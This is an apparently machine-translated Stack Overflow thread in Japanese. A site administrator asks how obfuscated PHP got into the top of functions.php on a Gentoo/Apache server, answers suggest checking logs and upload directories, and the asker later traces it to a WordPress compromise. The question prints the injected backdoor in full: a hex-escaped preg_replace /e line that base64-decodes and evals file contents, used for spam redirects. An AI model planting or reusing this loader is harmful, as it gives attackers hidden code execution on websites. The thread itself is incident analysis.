0

私が管理を支援しているサイトで、非常に特殊な方法で攻撃された方法のいくつかを調べています。サーバーが直接ハッキングされたかどうか、または誰かが悪意のあるスクリプトを何らかの方法で挿入できたかどうかを調べています。

最初に誰かがこれを手に入れることができました:

@preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");

ファイルのコメントの直後のPHPファイルの最上部に。これと最も似ている他のコードが行ったことは、ブラウザを介してサイトに接続していない人をペイデイローンサイトに301リダイレクトすることでした。これは私のホームページにのみ影響し、他のすべてのページは問題ありませんでした。

それを行うにはおそらくもっと多くのコードがありましたが、このコードはfunctions.phpこれまでに含まれているだけのファイルにあるため、これは最も混乱する部分でしたが、それはindex.php(私のホームページ)に含まれる最初のファイルです。

サーバーを直接ハッキングせずにコードを取得できた方法は完全に混乱しています。ユーザー入力は使用されておらず、文字通りファイル全体の上にあります。この挿入されたコードと上記のいくつかのコメント以外には何もありません。

私のエンボは:

Gentoo

PHP5.2.14-pl0-gentoo

Apache 2

私はサーバーログをチェックしましたが、いつものように、彼らは彼らの証跡を削除しました。

これも部分的にはサーバーの質問ですが、atmは90%のプログラミングの質問なので、最初にここで質問したいと思いました。

これを引き起こす可能性のあるPHP内の脆弱性はありますか?

説明が必要な場合はお知らせください。

編集

私はステージングシステムを持っています

  • 仕事
  • プレビュー
  • 住む

ライブフォルダとプレビューフォルダを切り替えても問題がないため、これはSQLインジェクションとは関係ありません。また、DBまたはアプリ内にgentooパスワードを保存していません。サーバーに接続できるのは、任意のホストからの80および443接続を受け入れるApacheを除いて、狭い範囲のIPアドレスのみです。さらに、サイト内でSQLエスケープクラスとメソッド(PDO、MySQLiなど)を使用しています。

したがって、この問題(さらに混乱を招く)は、私のサイトの1つのコピー内にのみ存在し、DBなどには存在しません。

4

3 に答える 3

2

この種のことを正確に特定することは、サーバー管理者側にあると思います。攻撃者が変更したファイルの日付を確認し、サーバーのログ(Apacheログ、FTPログ、sshログなど)でその日時の疑わしいアクティビティを探します。これは、トラフィック、ログサイズ、サーバーへのアクセスレベルによっても異なります。これは、法外な場合があるためです。ファイルをアップロードするhtmlフォームがある場合は、ファイルがphpシェル用に保存されているディレクトリを確認してください。そのディレクトリの権限も確認してください。共有ホスティングを使用している場合、これは、攻撃者が別のサイトにシェルを挿入し、それによって攻撃した結果である可能性もあります。その場合は、ホスティング会社に連絡してください。

于 2012-09-14T17:48:46.900 に答える
1

99%の確率でWebサーバーに障害が発生します。SQLインジェクションは1つのことですが、わかりません。SQLインジェクションを使用してパスワードを取得し、コントロールパネルまたはFTPにログインした可能性がありますが、それはWebサーバー。

于 2012-09-14T17:26:06.363 に答える
0

わかりました。今、その方法と理由を理解しています。それは私が決してそうはならないと思った唯一のことでした:Wordpress。

私は基本的に次の犠牲者でした:http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html

次のようなツールを使用する:http ://www.youtube.com/watch?v = y-Z5-uHvONc

私のメインサイトはワードプレスで作成されておらず、ワードプレスのブログがありますが/blog/、ハッカーはさまざまなワードプレスの脆弱性を使用して、サーバーの任意の部分に場所の問題を回避し、スクリプトを配置することができました。

ちなみに、これは実際にはWordpressの最新インストールで発生しました。バージョンを再確認しました。彼がいつスクリプトを配置したかは完全にはわかりませんが(外国のスクリプトの複数のインスタンスが何年にもわたって配置されています!)、この最近の攻撃は、最新バージョン(またはバージョン以前)膨大な量の精査の下で。

そこで、Wordpressについての注意点があります...

于 2012-09-16T11:01:42.613 に答える